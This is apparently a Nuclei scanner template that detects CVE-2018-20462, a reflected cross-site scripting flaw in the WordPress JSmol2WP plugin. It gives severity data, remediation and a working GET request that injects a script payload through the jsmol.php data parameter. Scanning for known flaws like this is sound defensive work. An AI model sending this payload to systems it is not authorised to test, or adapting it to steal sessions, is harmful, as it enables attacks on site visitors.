id: CVE-2018-20462

info:
  name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.
  remediation: |
    Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://wpvulndb.com/vulnerabilities/9196
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20462
    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20462
    cwe-id: CWE-79
    epss-score: 0.00245
    epss-percentile: 0.62377
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: jsmol2wp_project
    product: jsmol2wp
    framework: wordpress
  tags: cve,cve2018,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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